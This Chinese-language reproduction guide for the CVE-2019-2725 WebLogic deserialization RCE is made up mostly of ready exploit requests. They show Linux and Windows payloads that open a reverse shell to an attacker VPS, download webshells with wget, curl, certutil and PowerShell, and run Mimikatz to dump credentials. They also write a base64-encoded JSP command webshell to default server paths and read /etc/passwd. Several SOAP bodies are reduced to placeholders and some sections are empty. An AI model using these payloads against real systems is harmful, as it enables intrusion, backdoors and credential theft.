（CVE-2019-2725）（CNVD-C-2019-48814）Weblogic反序列化远程代码执行漏洞

（CVE-2019-2725）（CNVD-C-2019-48814）
======================================

一、漏洞简介
————

二、漏洞影响
————

Oracle WebLogic Server 10.x

Oracle WebLogic Server 12.1.3

三、复现过程
————

访问

(CNVD-C-2019-48814)Weblogic反序列化远程代码执行漏洞/media/rId25.shtml)

若出现以上情况，则有可能会存在漏洞。

### Win/Linux 通用写入shell代码（一）

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1142
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xxxx

执行完之后访问

http://www.0-sec.org/_async/webshell.jsp?pwd=123&cmd=whoami

### Win/Linux 通用写入shell代码（二）

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1136
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xxxx

执行完之后访问

http://www.0-sec.org/bea_wls_internal/webshell.jsp?pwd=123&cmd=whoami

> (注：上述报文中servers/AdminServer/tmp/\_WL\_internal/bea\_wls9\_async\_response/8tpkys/war/，servers/AdminServer/tmp/\_WL\_internal/bea\_wls\_internal/9j4dqk/war/
> 均为默认路径，如果路径修改，可以配合反弹shell进行获取)

### Linux

– 反弹shell

“`{=html}

“`
POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 853
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




/bin/bash


-c


bash -i >& /dev/tcp/vpsip/vpsport 0>&1

– 写入webshell（需要公网） //这里提供两个代码

> 需要自己在公网上放置一个webshell.txt
>
> webshell地址：

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




/bin/bash


-c


wget http://vpsip:vpsport/webshell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp








POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 789
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




/bin/bash


-c


curl http://vpsip:vpsport/webshell.txt -o servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp

– 写入webshell（无需公网） //这里提供两个代码

“`{=html}

“`
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1378
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




/bin/bash


-c


echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp

> 写入的webshell地址为：

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.50.219:7001
Content-Length: 1376
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




/bin/bash


-c


echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= |base64 -d > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp

> 写入的webshell地址为：

### Win

– 反弹shell

> 可直接使用CobaltStrike生成一个payload.ps1
> powershell脚本，将该脚本放到公网上，然后使用如下报文即可

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 861
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://ip:port/payload.ps1’); Invoke-Mimikatz -DumpCreds”

– 写入webshell（需要公网） //这里提供两个代码

> 需要自己在公网上放置一个webshell.txt
>
> webshell地址为：

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


powershell (new-object System.Net.WebClient).DownloadFile( ‘http://ip:port/webshell.txt’,’servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp’)








POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 854
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


certutil -urlcache -split -f http://ip:port/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp

– 写入webshell （无需公网） //这里提供四个代码

#### 前两组代码

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell.txt








POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


certutil -decode servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell.txt servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\webshell.jsp

> 这两组代码的webshell地址为：

#### 后两组代码

POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 1367
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


echo PCUKICAgIGlmKCIxMjMiLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKXsKICAgICAgICBqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhyZXF1ZXN0LmdldFBhcmFtZXRlcigiY21kIikpLmdldElucHV0U3RyZWFtKCk7CiAgICAgICAgaW50IGEgPSAtMTsgICAgICAgICAgCiAgICAgICAgYnl0ZVtdIGIgPSBuZXcgYnl0ZVsxMDI0XTsgICAgICAgICAgCiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOyAgICAgICAgICAKICAgICAgICB3aGlsZSgoYT1pbi5yZWFkKGIpKSE9LTEpewogICAgICAgICAgICBvdXQucHJpbnRsbihuZXcgU3RyaW5nKGIpKTsgICAgICAgICAgCiAgICAgICAgfQogICAgICAgIG91dC5wcmludCgiPC9wcmU+Iik7CiAgICB9IAogICAgJT4= > servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt








POST /_async/AsyncResponseService HTTP/1.1
Host: ip:port
Content-Length: 913
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

xx
xx




cmd


/c


certutil -decode servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.txt servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp

> 这两组代码的webshell地址为：

### 自动化脚本

cve2019-2725_weblogic_rce.bat http://192.168.31.5:7001 “cat /etc/passwd”

参考链接
——–

>